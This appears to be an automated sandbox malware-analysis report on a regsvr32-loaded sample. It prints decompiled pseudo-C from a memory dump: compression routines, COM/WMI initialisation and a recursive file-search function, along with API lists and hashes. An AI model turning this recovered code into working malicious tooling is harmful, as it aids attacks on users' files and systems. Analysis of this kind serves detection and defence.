													_t435 =  &(_t435[3]);
													_t368 = _t405 + _t296 + _t296;
													_t405 = _t435[0xe];
													_t298 = _t435[0xc];
													if(_t349 > _t298) {
														_t349 = _t349 - _t298;
														memcpy(_t368, _t405, _t298);
														_t435 =  &(_t435[3]);
														_t368 = _t405 + _t298 + _t298;
														_t405 = _t368 - _t253;
													}
												}
											}
										} else {
											_t405 = _t403 + _t185 - _t292;
											if(_t349 > _t292) {
												_t349 = _t349 - _t292;
												memcpy(_t368, _t405, _t292);
												_t435 =  &(_t435[3]);
												_t368 = _t405 + _t292 + _t292;
												_t405 = _t368 - _t253;
											}
										}
										_t293 = _t349;
										_t172 = memcpy(_t368, _t405, _t293);
										_t435 =  &(_t435[3]);
										_t368 = _t405 + _t293 + _t293;
										_t396 = _t435[0xb];
										_t253 = _t435[2];
										goto L64;
									}
									_t412 = _t368 - _t253;
									_t302 = _t349 - 3;
									 *_t368 =  *_t412;
									_t413 = _t412 + 3;
									 *((char*)(_t368 + 1)) =  *((intOrPtr*)(_t412 + 1));
									 *((char*)(_t368 + 2)) =  *((intOrPtr*)(_t412 + 2));
									_t172 = memcpy(_t368 + 3, _t413, _t302);
									_t435 =  &(_t435[3]);
									_t368 = _t413 + _t302 + _t302;
									_t396 = _t435[0xb];
									_t253 = _t435[2];
									goto L64;
								} else {
									_t380 = _t368 - 1;
									_t194 =  *_t380;
									_t305 = _t349 - 3;
									 *(_t380 + 1) = _t194;
									 *(_t380 + 2) = _t194;
									 *(_t380 + 3) = _t194;
									_t381 = _t380 + 4;
									_t172 = memset(_t381, _t194, _t305 << 0);
									_t435 =  &(_t435[3]);
									_t368 = _t381 + _t305;
									_t253 = _t435[2];
									L64:
									if(_t435[4] <= _t368) {
										goto L104;
									}
									goto L65;
								}
							}
							asm("psrlq mm0, mm1");
							asm("movd mm1, eax");
							asm("movd ecx, mm0");
							_t431 = _t431 - _t182;
							_t253 = _t253 + (_t287 &  *(0x9a66ec + _t182 * 4));
							goto L76;
						}
						_t172 = _t173 >> 0x10;
						asm("stosb");
						goto L64;
						L65:
					} while (_t435[5] > _t396);
					goto L104;
				}
			}

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0x00000000
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0x00000000
0x009a6b42

Strings

Genu, xrefs: 009A686F
invalid distance too far back, xrefs: 009A6D3A
invalid literal/length code, xrefs: 009A6D2A
ntel, xrefs: 009A6877
ineI, xrefs: 009A687F
invalid distance code, xrefs: 009A6D0E

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Genu$ineI$invalid distance code$invalid distance too far back$invalid literal/length code$ntel
API String ID: 0-3089872807
Opcode ID: 6a27a5da892aacde48c403040a706c543587054b0fd14b22174bbe56452f1893
Instruction ID: 4a899ee0a99f424ea128c5c6f8cf3f51a2785f9298887ea82def428c131afb1a
Opcode Fuzzy Hash: 6a27a5da892aacde48c403040a706c543587054b0fd14b22174bbe56452f1893
Instruction Fuzzy Hash: 0A12F132A083518FCB15DE3CC99422ABBE1EB86354F1D8A2DE895D7B41D375AD48C7C1

Uniqueness

Uniqueness Score: -1.00%

Function 0099E485 Relevance: 7.6, APIs: 5, Instructions: 87
commemoryCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E0099E485(void* __ecx) {
				char _v8;
				void* _v12;
				char* _t15;
				intOrPtr* _t16;
				void* _t21;
				intOrPtr* _t23;
				intOrPtr* _t24;
				intOrPtr* _t25;
				void* _t30;
				void* _t33;

				_v12 = 0;
				_v8 = 0;
				__imp__CoInitializeEx(0, 0, _t30, _t33, __ecx, __ecx);
				__imp__CoInitializeSecurity(0, 0xffffffff, 0, 0, 0, 3, 0, 0, 0);
				_t15 =  &_v12;
				__imp__CoCreateInstance(0x9ac8a0, 0, 1, 0x9ac8b0, _t15);
				if(_t15 < 0) {
					L5:
					_t23 = _v8;
					if(_t23 != 0) {
						 *((intOrPtr*)( *_t23 + 8))(_t23);
					}
					_t24 = _v12;
					if(_t24 != 0) {
						 *((intOrPtr*)( *_t24 + 8))(_t24);
					}
					_t16 = 0;
				} else {
					__imp__#2(__ecx);
					_t25 = _v12;
					_t21 =  *((intOrPtr*)( *_t25 + 0xc))(_t25, _t15, 0, 0, 0, 0, 0, 0,  &_v8);
					if(_t21 < 0) {
						goto L5;
					} else {
						__imp__CoSetProxyBlanket(_v8, 0xa, 0, 0, 3, 3, 0, 0);
						if(_t21 < 0) {
							goto L5;
						} else {
							_t16 = E00998DC9(8);
							if(_t16 == 0) {
								goto L5;
							} else {
								 *((intOrPtr*)(_t16 + 4)) = _v12;
								 *_t16 = _v8;
							}
						}
					}
				}
				return _t16;
			}

0x0099e492
0x0099e495
0x0099e498
0x0099e4a9
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APIs

CoInitializeEx.OLE32(00000000,00000000,00000000,00000000,00000000,00000000,?,0099E7B4,00000E16,00000000,00000000,00000005), ref: 0099E498
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,0099E7B4,00000E16,00000000,00000000,00000005), ref: 0099E4A9
CoCreateInstance.OLE32(009AC8A0,00000000,00000001,009AC8B0,00000000,?,0099E7B4,00000E16,00000000,00000000,00000005), ref: 0099E4C0
SysAllocString.OLEAUT32(00000000), ref: 0099E4CB
CoSetProxyBlanket.OLE32(00000005,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,0099E7B4,00000E16,00000000,00000000,00000005), ref: 0099E4F6

Part of subcall function 00998DC9: RtlAllocateHeap.NTDLL(00000008,?,?,00999793,00000100,?,0099661B), ref: 00998DD7

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: Initialize$AllocAllocateBlanketCreateHeapInstanceProxySecurityString
String ID:
API String ID: 1610782348-0
Opcode ID: b11dac799378d784e10c69c2848dc5d95a3a952e050000e8dc528ce56fe12435
Instruction ID: 97ccaf703b94ea423cff6da06a37c967929b9af15eda3c7ed7ea124e0eb7fc12
Opcode Fuzzy Hash: b11dac799378d784e10c69c2848dc5d95a3a952e050000e8dc528ce56fe12435
Instruction Fuzzy Hash: CB212570614245BBEB248B6ADC4DE6BBF7CEFC3B18F11005CF505AA290DA70DA40DAB0

Uniqueness

Uniqueness Score: -1.00%

Function 0099C123 Relevance: 3.1, APIs: 2, Instructions: 105
fileCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E0099C123(void* __ecx, void* __fp0, intOrPtr _a16) {
				char _v12;
				WCHAR* _v16;
				struct _WIN32_FIND_DATAW _v608;
				WCHAR* _t24;
				intOrPtr _t31;
				intOrPtr _t41;
				void* _t45;
				intOrPtr _t46;
				void* _t48;
				intOrPtr _t54;
				void* _t59;
				char _t60;
				void* _t61;
				void* _t62;
				void* _t63;
				void* _t75;

				_t75 = __fp0;
				_push(0);
				_t48 = __ecx;
				_push(L"\\*");
				_t24 = E00999C50(__ecx);
				_t63 = _t62 + 0xc;
				_v16 = _t24;
				if(_t24 == 0) {
					return _t24;
				}
				_t59 = FindFirstFileW(_t24,  &_v608);
				if(_t59 == 0xffffffff) {
					L14:
					return E00998DDF( &_v16, 0xfffffffe);
				} else {
					goto L2;
				}
				do {
					L2:
					if(E0099C0FB( &(_v608.cFileName)) != 0) {
						goto L12;
					}
					if((_v608.dwFileAttributes & 0x00000010) != 0) {
						L10:
						_push(0);
						_push( &(_v608.cFileName));
						_push(0x9ac9d8);
						_t60 = E00999C50(_t48);
						_t63 = _t63 + 0x10;
						_v12 = _t60;
						if(_t60 != 0) {
							_t54 =  *0x9af8d0; // 0x452f8c0
							 *((intOrPtr*)(_t54 + 0xc0))(1);
							_push(1);
							_push(1);
							_push(0);
							E0099C123(_t60, _t75, 1, 5, E009A017A, _a16);
							_t63 = _t63 + 0x1c;
							E00998DDF( &_v12, 0xfffffffe);
						}
						goto L12;
					}
					_t61 = 0;
					do {
						_t7 = _t61 + 0x9af9dc; // 0x0
						_push( *_t7);
						_push( &(_v608.cFileName));
						_t41 =  *0x9af8dc; // 0x452fb90
						if( *((intOrPtr*)(_t41 + 0x18))() == 0) {
							goto L8;
						}
						_t45 = E009A017A(_t75, _t48,  &_v608, _a16);
						_t63 = _t63 + 0xc;
						if(_t45 == 0) {
							break;
						}
						_t46 =  *0x9af8d0; // 0x452f8c0
						 *((intOrPtr*)(_t46 + 0xc0))(1);
						L8:
						_t61 = _t61 + 4;
					} while (_t61 < 4);
					if((_v608.dwFileAttributes & 0x00000010) == 0) {
						goto L12;
					}
					goto L10;
					L12:
				} while (FindNextFileW(_t59,  &_v608) != 0);
				_t31 =  *0x9af8d0; // 0x452f8c0
				 *((intOrPtr*)(_t31 + 0x80))(_t59);
				goto L14;
			}

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0x00000000

APIs

FindFirstFileW.KERNEL32(00000000,?,?,00000000,00000000), ref: 0099C154
FindNextFileW.KERNEL32(00000000,?), ref: 0099C237

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: FileFind$FirstNext
String ID:
API String ID: 1690352074-0
Opcode ID: b6974015fa785af7ad3ded1e62512b98e3f2794153cf9608756a7d11c4aaa7e2
Instruction ID: 79dcd2d7ae7981d41500b9fd42a6e8b4e139a073f08c5fcf1344471199398d04
Opcode Fuzzy Hash: b6974015fa785af7ad3ded1e62512b98e3f2794153cf9608756a7d11c4aaa7e2
Instruction Fuzzy Hash: 1731C8B1A442146FEF20ABACDC89FAB37ACEF85710F140065F919E71C1EA71DD408BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0099A1F8 Relevance: 1.5, APIs: 1, Instructions: 24timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,0099521F,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0099A205

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: Time$FileSystem
String ID:
API String ID: 2086374402-0
Opcode ID: baccee778901827a87bf47f32db76349890a2f2edf4e832c55f1e7d0fdce50be
Instruction ID: 1d8968af92f81529dfc05e72aac0edbd395f5d4be7ab0240c749229c34bd4c8e
Opcode Fuzzy Hash: baccee778901827a87bf47f32db76349890a2f2edf4e832c55f1e7d0fdce50be
Instruction Fuzzy Hash: 43E04875D003146FDB10AF689D09B5AB7BDEBC1B10F118555AC41B3344E570AE0486D1

Uniqueness

Uniqueness Score: -1.00%

Function 0099DDE7 Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0099DDE7(void* __ecx) {
				struct _SYSTEM_INFO _v40;
				void* _t5;

				if(__ecx == 0) {
					GetSystemInfo( &_v40);
					return _v40.dwOemId & 0x0000ffff;
				} else {
					_t5 = 9;
					return _t5;
				}
			}

0x0099ddef
0x0099ddfa
0x0099de05
0x0099ddf1
0x0099ddf3
0x0099ddf5
0x0099ddf5

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,0099E1C0), ref: 0099DDFA

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 5c51d6c3c069d6a8a4bdcc3c441be99fc0e23bd944d967e713ebb62605ddc4f4
Instruction ID: a06237f877a188b93aac57b45b2fbe79becadf7eba73da9600e67ccba9307c40
Opcode Fuzzy Hash: 5c51d6c3c069d6a8a4bdcc3c441be99fc0e23bd944d967e713ebb62605ddc4f4
Instruction Fuzzy Hash: 81C08071A1521F57CF149BA9B9566EF73FC5F44689F100455ED03F14C1E960DD4143B0

Uniqueness

Uniqueness Score: -1.00%

Function 009A82A0 Relevance: .4, Instructions: 359
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E009A82A0(intOrPtr _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed short* _v12;
				char _v16;
				signed short _v20;
				unsigned int _v24;
				signed short _v28;
				signed int _t223;
				signed int _t235;
				signed int _t237;
				signed short _t240;
				signed int _t241;
				signed short _t244;
				signed int _t245;
				signed short _t248;
				signed int _t249;
				signed int _t250;
				void* _t254;
				signed char _t259;
				signed int _t275;
				signed int _t289;
				signed int _t308;
				signed short _t316;
				signed int _t321;
				void* _t329;
				signed short _t330;
				signed short _t333;
				signed short _t334;
				signed short _t343;
				signed short _t346;
				signed short _t347;
				signed short _t348;
				signed short _t358;
				signed short _t361;
				signed short _t362;
				signed short _t363;
				signed short _t370;
				signed int _t373;
				signed int _t378;
				signed short _t379;
				signed short _t382;
				unsigned int _t388;
				unsigned short _t390;
				unsigned short _t392;
				unsigned short _t394;
				signed int _t396;
				signed int _t397;
				signed int _t398;
				signed int _t400;
				signed short _t401;
				signed int _t402;
				signed int _t403;
				signed int _t407;
				signed int _t409;

				_t223 = _a8;
				_t235 =  *(_t223 + 2) & 0x0000ffff;
				_push(_t397);
				_t388 = 0;
				_t398 = _t397 | 0xffffffff;
				if(_a12 < 0) {
					L42:
					return _t223;
				} else {
					_t329 =  !=  ? 7 : 0x8a;
					_v12 = _t223 + 6;
					_t254 = (0 | _t235 != 0x00000000) + 3;
					_v16 = _a12 + 1;
					do {
						_v24 = _t388;
						_t388 = _t388 + 1;
						_a8 = _t235;
						_a12 = _t235;
						_v8 =  *_v12 & 0x0000ffff;
						_t223 = _a4;
						if(_t388 >= _t329) {
							L4:
							if(_t388 >= _t254) {
								if(_a8 == 0) {
									_t122 = _t223 + 0x16bc; // 0x5d08408b
									_t400 =  *_t122;
									if(_t388 > 0xa) {
										_t168 = _t223 + 0xac4; // 0xfeacb58c
										_t330 =  *_t168 & 0x0000ffff;
										_t169 = _t223 + 0xac6; // 0xfffffeac
										_t237 =  *_t169 & 0x0000ffff;
										_v24 = _t330;
										_t171 = _t223 + 0x16b8; // 0x5750038
										_t333 = (_t330 << _t400 |  *_t171) & 0x0000ffff;
										_v28 = _t333;
										if(_t400 <= 0x10 - _t237) {
											_t259 = _t400 + _t237;
										} else {
											_t173 = _t223 + 0x14; // 0xc703f045
											 *(_t223 + 0x16b8) = _t333;
											_t175 = _t223 + 8; // 0x8d000040
											 *((char*)( *_t175 +  *_t173)) = _v28;
											_t223 = _a4;
											 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
											_t181 = _t223 + 0x14; // 0xc703f045
											_t182 = _t223 + 8; // 0x8d000040
											_t183 = _t223 + 0x16b9; // 0x8b057500
											 *((char*)( *_t181 +  *_t182)) =  *_t183;
											 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
											_t333 = _v24 >> 0x10;
											_t189 = _t223 + 0x16bc; // 0x5d08408b
											_t259 =  *_t189 + 0xfffffff0 + _t237;
										}
										_t334 = _t333 & 0x0000ffff;
										 *(_t223 + 0x16bc) = _t259;
										 *(_t223 + 0x16b8) = _t334;
										_t401 = _t334 & 0x0000ffff;
										if(_t259 <= 9) {
											_t209 = _t388 - 0xb; // -10
											 *(_t223 + 0x16b8) = _t209 << _t259 | _t401;
											 *(_t223 + 0x16bc) = _t259 + 7;
										} else {
											_t193 = _t223 + 8; // 0x8d000040
											_t390 = _t388 + 0xfffffff5;
											_t194 = _t223 + 0x14; // 0xc703f045
											_t240 = _t390 << _t259 | _t401;
											 *(_t223 + 0x16b8) = _t240;
											 *( *_t193 +  *_t194) = _t240;
											 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
											_t199 = _t223 + 0x14; // 0xc703f045
											_t200 = _t223 + 8; // 0x8d000040
											_t201 = _t223 + 0x16b9; // 0x8b057500
											 *((char*)( *_t199 +  *_t200)) =  *_t201;
											 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
											 *(_t223 + 0x16bc) =  *(_t223 + 0x16bc) + 0xfffffff7;
											 *(_t223 + 0x16b8) = _t390 >> 0x10;
										}
										goto L35;
									}
									_t123 = _t223 + 0xac0; // 0x3fc458b
									_t343 =  *_t123 & 0x0000ffff;
									_t124 = _t223 + 0xac2; // 0xb58c03fc
									_t241 =  *_t124 & 0x0000ffff;
									_v24 = _t343;
									_t126 = _t223 + 0x16b8; // 0x5750038
									_t346 = (_t343 << _t400 |  *_t126) & 0x0000ffff;
									_v28 = _t346;
									if(_t400 > 0x10 - _t241) {
										_t128 = _t223 + 0x14; // 0xc703f045
										 *(_t223 + 0x16b8) = _t346;
										_t130 = _t223 + 8; // 0x8d000040
										 *((char*)( *_t130 +  *_t128)) = _v28;
										_t223 = _a4;
										 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
										_t136 = _t223 + 0x14; // 0xc703f045
										_t137 = _t223 + 8; // 0x8d000040
										_t138 = _t223 + 0x16b9; // 0x8b057500
										 *((char*)( *_t136 +  *_t137)) =  *_t138;
										_t142 = _t223 + 0x16bc; // 0x5d08408b
										 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
										_t346 = _v24 >> 0x10;
										_t400 =  *_t142 + 0xfffffff0;
									}
									_t403 = _t400 + _t241;
									_t347 = _t346 & 0x0000ffff;
									 *(_t223 + 0x16bc) = _t403;
									 *(_t223 + 0x16b8) = _t347;
									_t348 = _t347 & 0x0000ffff;
									if(_t403 <= 0xd) {
										_t163 = _t403 + 3; // 0x5d08408e
										_t275 = _t163;
										L28:
										 *(_t223 + 0x16bc) = _t275;
										_t165 = _t388 - 3; // -2
										_t166 = _t223 + 0x16b8; // 0x5750038
										 *(_t223 + 0x16b8) = (_t165 << _t403 |  *_t166 & 0x0000ffff) & 0x0000ffff;
									} else {
										_t392 = _t388 + 0xfffffffd;
										_t147 = _t223 + 0x14; // 0xc703f045
										_t244 = _t392 << _t403 | _t348;
										_t148 = _t223 + 8; // 0x8d000040
										 *(_t223 + 0x16b8) = _t244;
										 *( *_t148 +  *_t147) = _t244;
										 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
										_t153 = _t223 + 0x14; // 0xc703f045
										_t154 = _t223 + 8; // 0x8d000040
										_t155 = _t223 + 0x16b9; // 0x8b057500
										 *((char*)( *_t153 +  *_t154)) =  *_t155;
										 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
										 *(_t223 + 0x16bc) =  *(_t223 + 0x16bc) + 0xfffffff3;
										 *(_t223 + 0x16b8) = _t392 >> 0x00000010 & 0x0000ffff;
									}
									goto L35;
								}
								_t289 = _a12;
								if(_t289 != _t398) {
									_t53 = _t289 * 4; // 0xfffffeac
									_t396 =  *(_t223 + _t53 + 0xa7e) & 0x0000ffff;
									_t56 = _t235 * 4; // 0xfeac8d94
									_t370 =  *(_t223 + _t56 + 0xa7c) & 0x0000ffff;
									_t58 = _t223 + 0x16bc; // 0x5d08408b
									_t407 =  *_t58;
									_v28 = _t370;
									_t60 = _t223 + 0x16b8; // 0x5750038
									_t249 = (_t370 << _t407 |  *_t60) & 0x0000ffff;
									if(_t407 <= 0x10 - _t396) {
										_t373 = _t249;
										_t308 = _t407 + _t396;
									} else {
										_t61 = _t223 + 0x14; // 0xc703f045
										_t62 = _t223 + 8; // 0x8d000040
										 *(_t223 + 0x16b8) = _t249;
										 *( *_t62 +  *_t61) = _t249;
										 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
										_t67 = _t223 + 0x14; // 0xc703f045
										_t68 = _t223 + 8; // 0x8d000040
										_t69 = _t223 + 0x16b9; // 0x8b057500
										 *((char*)( *_t67 +  *_t68)) =  *_t69;
										 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
										_t75 = _t223 + 0x16bc; // 0x5d08408b
										_t373 = _v28 >> 0x00000010 & 0x0000ffff;
										_t308 =  *_t75 + 0xfffffff0 + _t396;
									}
									_t388 = _v24;
									 *(_t223 + 0x16bc) = _t308;
									 *(_t223 + 0x16b8) = _t373;
								}
								_t80 = _t223 + 0xabc; // 0xc80bc323
								_t358 =  *_t80 & 0x0000ffff;
								_t81 = _t223 + 0x16bc; // 0x5d08408b
								_t402 =  *_t81;
								_t82 = _t223 + 0xabe; // 0x458bc80b
								_t245 =  *_t82 & 0x0000ffff;
								_v24 = _t358;
								_t84 = _t223 + 0x16b8; // 0x5750038
								_t361 = (_t358 << _t402 |  *_t84) & 0x0000ffff;
								_v28 = _t361;
								if(_t402 > 0x10 - _t245) {
									_t86 = _t223 + 0x14; // 0xc703f045
									 *(_t223 + 0x16b8) = _t361;
									_t88 = _t223 + 8; // 0x8d000040
									 *((char*)( *_t88 +  *_t86)) = _v28;
									_t223 = _a4;
									 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
									_t94 = _t223 + 0x14; // 0xc703f045
									_t95 = _t223 + 8; // 0x8d000040
									_t96 = _t223 + 0x16b9; // 0x8b057500
									 *((char*)( *_t94 +  *_t95)) =  *_t96;
									_t100 = _t223 + 0x16bc; // 0x5d08408b
									 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
									_t361 = _v24 >> 0x10;
									_t402 =  *_t100 + 0xfffffff0;
								}
								_t403 = _t402 + _t245;
								_t362 = _t361 & 0x0000ffff;
								 *(_t223 + 0x16bc) = _t403;
								 *(_t223 + 0x16b8) = _t362;
								_t363 = _t362 & 0x0000ffff;
								if(_t403 <= 0xe) {
									_t121 = _t403 + 2; // 0x5d08408d
									_t275 = _t121;
									goto L28;
								} else {
									_t394 = _t388 + 0xfffffffd;
									_t105 = _t223 + 0x14; // 0xc703f045
									_t248 = _t394 << _t403 | _t363;
									_t106 = _t223 + 8; // 0x8d000040
									 *(_t223 + 0x16b8) = _t248;
									 *( *_t106 +  *_t105) = _t248;
									 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
									_t111 = _t223 + 0x14; // 0xc703f045
									_t112 = _t223 + 8; // 0x8d000040
									_t113 = _t223 + 0x16b9; // 0x8b057500
									 *((char*)( *_t111 +  *_t112)) =  *_t113;
									 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
									 *(_t223 + 0x16bc) =  *(_t223 + 0x16bc) + 0xfffffff2;
									 *(_t223 + 0x16b8) = _t394 >> 0x00000010 & 0x0000ffff;
									goto L35;
								}
							} else {
								_t316 = _t223 + (_t235 + 0x29f) * 4;
								_v28 = _t316;
								do {
									_t378 = _a12;
									_t22 = _t223 + 0x16bc; // 0x5d08408b
									_t409 =  *_t22;
									_t24 = _t378 * 4; // 0xfffffeac
									_t250 =  *(_t223 + _t24 + 0xa7e) & 0x0000ffff;
									_t379 =  *_t316 & 0x0000ffff;
									_v24 = _t379;
									_t27 = _t223 + 0x16b8; // 0x5750038
									_t382 = (_t379 << _t409 |  *_t27) & 0x0000ffff;
									_v20 = _t382;
									if(_t409 <= 0x10 - _t250) {
										_t321 = _t409 + _t250;
									} else {
										_t29 = _t223 + 0x14; // 0xc703f045
										 *(_t223 + 0x16b8) = _t382;
										_t31 = _t223 + 8; // 0x8d000040
										 *((char*)( *_t31 +  *_t29)) = _v20;
										_t223 = _a4;
										 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
										_t37 = _t223 + 0x14; // 0xc703f045
										_t38 = _t223 + 8; // 0x8d000040
										_t39 = _t223 + 0x16b9; // 0x8b057500
										 *((char*)( *_t37 +  *_t38)) =  *_t39;
										 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
										_t382 = _v24 >> 0x10;
										_t45 = _t223 + 0x16bc; // 0x5d08408b
										_t321 =  *_t45 + 0xfffffff0 + _t250;
									}
									 *(_t223 + 0x16bc) = _t321;
									_t316 = _v28;
									 *(_t223 + 0x16b8) = _t382 & 0x0000ffff;
									_t388 = _t388 - 1;
								} while (_t388 != 0);
								L35:
								_t235 = _v8;
								_t388 = 0;
								_t398 = _a12;
								if(_t235 != 0) {
									if(_a8 != _t235) {
										_t329 = 7;
										_t217 = _t329 - 3; // 0x4
										_t254 = _t217;
									} else {
										_t329 = 6;
										_t216 = _t329 - 3; // 0x3
										_t254 = _t216;
									}
								} else {
									_t329 = 0x8a;
									_t214 = _t388 + 3; // 0x3
									_t254 = _t214;
								}
								goto L41;
							}
						}
						_t223 = _a4;
						if(_t235 == _v8) {
							_t235 = _v8;
							goto L41;
						}
						goto L4;
						L41:
						_v12 =  &(_v12[2]);
						_t221 =  &_v16;
						 *_t221 = _v16 - 1;
					} while ( *_t221 != 0);
					goto L42;
				}
			}

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Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

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String ID:
API String ID:
Opcode ID: 0050a3338128a3e29d0738b8ec7b1954f4e7d535beab72997c1b6becb188d890
Instruction ID: 6163e041bb9e3b0573ecf3f66e7416151c96a7dfa0c7204324b043d6b6f4fe4b
Opcode Fuzzy Hash: 0050a3338128a3e29d0738b8ec7b1954f4e7d535beab72997c1b6becb188d890
Instruction Fuzzy Hash: E4F17F755092118FC709CF18C4D88FA7BF5AFA9310B1E86FDD8899B3A6D7319980CB91

Uniqueness

Uniqueness Score: -1.00%

Function 009A63B0 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8739f2d7c1acc7a46c4485d5c450b1e549931cc52f7dc0e9a4c145e61ae0c3cb
Instruction ID: 67f4084e1e4c56dfd9f5420b20c10569a7976792bc118d3699ce244920000dec
Opcode Fuzzy Hash: 8739f2d7c1acc7a46c4485d5c450b1e549931cc52f7dc0e9a4c145e61ae0c3cb
Instruction Fuzzy Hash: 147155316241A64FD704CF2EECD047633A1EB8B311745851EEA85CB395C639E92AFBE0

Uniqueness

Uniqueness Score: -1.00%

Function 009A29E9 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

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API ID:
String ID:
API String ID:
Opcode ID: 61f11bb46b874e2d381a25acbc75e86c6736a6fab1c11859121ad0a1330ab23a
Instruction ID: 18d0a6fe5592e867e94de714990d4f13af5d4bbb00d3e80c99b1bb0a27a9b487
Opcode Fuzzy Hash: 61f11bb46b874e2d381a25acbc75e86c6736a6fab1c11859121ad0a1330ab23a
Instruction Fuzzy Hash: E8518AB3B041B00BDF688E3E8C642757ED35AD514270EC2B6F8A9CF24AE878C7059760

Uniqueness

Uniqueness Score: -1.00%

Function 009A35EE Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c95dcdb1e218d760313f10c37e234220c642911b7c79ac4e28ccc8e6cbbe1be
Instruction ID: de5a8e1662bcd296ea54ab30b630598b20250a63dc75b0e138749c094740c11f
Opcode Fuzzy Hash: 8c95dcdb1e218d760313f10c37e234220c642911b7c79ac4e28ccc8e6cbbe1be
Instruction Fuzzy Hash: BD215E366144129BD35CCF2CD8A6A69F3A5FB89310F85427ED51BCB682CB72E452CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 0099EACA Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 388
memoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0099EACA(intOrPtr __ecx, intOrPtr __edx, void* __eflags, intOrPtr _a4) {
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				void* _v28;
				signed int _v32;
				char _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				signed int _v60;
				char* _v72;
				signed short _v80;
				signed int _v84;
				char _v88;
				char _v92;
				char _v96;
				intOrPtr _v100;
				char _v104;
				char _v616;
				intOrPtr* _t159;
				char _t165;
				signed int _t166;
				signed int _t173;
				signed int _t178;
				signed int _t186;
				intOrPtr* _t187;
				signed int _t188;
				signed int _t192;
				intOrPtr* _t193;
				intOrPtr _t200;
				intOrPtr* _t205;
				signed int _t207;
				signed int _t209;
				intOrPtr* _t210;
				intOrPtr _t212;
				intOrPtr* _t213;
				signed int _t214;
				char _t217;
				signed int _t218;
				signed int _t219;
				signed int _t230;
